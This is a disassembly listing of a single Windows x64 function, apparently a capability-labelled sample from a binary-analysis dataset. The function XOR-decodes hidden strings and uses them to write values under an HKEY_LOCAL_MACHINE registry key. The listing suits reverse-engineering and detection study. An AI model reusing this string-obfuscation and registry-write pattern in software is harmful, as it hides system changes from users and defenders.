Function at 0x140051250
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x14012d010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rdi, rcx
xor ebx, ebx
mov dword [rbp - 0x21], 1
lea rdx, [rcx + 0x20]
mov rax, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 8
jb 0x14005129c
mov rcx, qword [rdx]
lea r8, [rcx + rax*2]
mov rdx, rcx
jmp 0x1400512a0
lea r8, [rdx + rax*2]
lea rcx, [rbp + 7]
call fcn.140051ee0
nop
mov eax, 4
mov dword [rbp - 0x69], eax
mov dword [rbp - 0x65], 0xd8bcbddd
mov byte [rbp - 0x61], 0x85
xor ecx, ecx
mov word [rbp - 0x60], cx
mov byte [rbp - 0x5e], cl
mov edx, ebx
test eax, eax
je 0x1400512e7
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 0x65]
add rcx, rax
lea eax, [rdx - 0x7f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x69]
cmp edx, eax
jb 0x1400512d0
mov byte [rbp + rax - 0x65], 0
lea rax, [rbp - 0x65]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400512f7
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp + 0x17]
sub rax, rdx
cmp rax, rcx
jb 0x140051543
lea rax, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rax, qword [rbp + 7]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x65]
lea rcx, [rbp - 0x19]
call fcn.14004fe00
nop
mov rax, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 8
jb 0x14005135c
mov rcx, qword [rdi]
lea r8, [rcx + rax*2]
mov rdx, rcx
jmp 0x140051363
lea r8, [rdi + rax*2]
mov rdx, rdi
lea rcx, [rbp + 0x27]
call fcn.140051ee0
mov eax, 0x21
mov dword [rbp - 0x59], eax
movdqa xmm0, xmmword [0x140122010]
movdqu xmmword [rbp - 0x55], xmm0
movdqa xmm1, xmmword [0x140121780]
movdqu xmmword [rbp - 0x45], xmm1
mov dword [rbp - 0x35], 0xa2d2
mov edx, ebx
test eax, eax
je 0x1400513b7
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x55]
add rcx, rax
lea eax, [rdx - 0x7f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x59]
cmp edx, eax
jb 0x1400513a0
mov byte [rbp + rax - 0x55], 0
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x55]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140051500
cmp qword [rdi + 0x18], 8
jb 0x1400513e3
mov rdi, qword [rdi]
lea r8, [rbp - 0x31]
mov rdx, rdi
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140051500
mov r9d, dword [rbp - 9]
lea r8, [rbp - 0x19]
cmp qword [rbp - 1], 0x10
cmovae r8, qword [rbp - 0x19]
mov eax, 9
mov dword [rbp - 0x69], eax
mov dword [rbp - 0x65], 0xe3e2efc8
mov dword [rbp - 0x61], 0xfce6d6e0
mov dword [rbp - 0x5d], 0x8ae1
mov edx, ebx
test eax, eax
je 0x140051448
mov eax, edx
lea rcx, [rbp - 0x65]
add rcx, rax
lea eax, [rdx - 0x7f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x69]
cmp edx, eax
jb 0x140051431
mov byte [rbp + rax - 0x65], 0
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0x65]
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140051500
mov eax, 4
mov dword [rbp - 0x69], eax
mov dword [rbp - 0x65], 0xe1f3fbd5
mov byte [rbp - 0x61], 0x85
xor ecx, ecx
mov word [rbp - 0x60], cx
mov byte [rbp - 0x5e], cl
test eax, eax
je 0x1400514b7
nop word [rax + rax]
mov eax, ebx
lea rcx, [rbp - 0x65]
add rcx, rax
lea eax, [rbx - 0x7f]
xor byte [rcx], al
inc ebx
mov eax, dword [rbp - 0x69]
cmp ebx, eax
jb 0x1400514a0
mov byte [rbp + rax - 0x65], 0
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x21]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x65]
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140051500
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
jmp 0x140051502
xor bl, bl
lea rcx, [rbp + 0x27]
call fcn.14004f470
nop
lea rcx, [rbp - 0x19]
call fcn.14004f470
nop
lea rcx, [rbp + 7]
call fcn.14004f470
movzx eax, bl
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14010e990
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.14004c210
nop
int3